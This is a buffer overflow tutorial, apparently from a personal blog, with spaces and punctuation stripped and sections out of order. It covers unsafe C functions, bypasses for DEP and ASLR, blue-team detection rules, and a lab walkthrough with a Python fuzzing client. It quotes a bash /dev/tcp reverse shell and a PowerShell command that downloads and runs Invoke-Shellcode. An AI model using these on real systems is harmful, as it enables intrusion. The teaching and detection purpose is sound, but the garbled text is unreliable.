Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

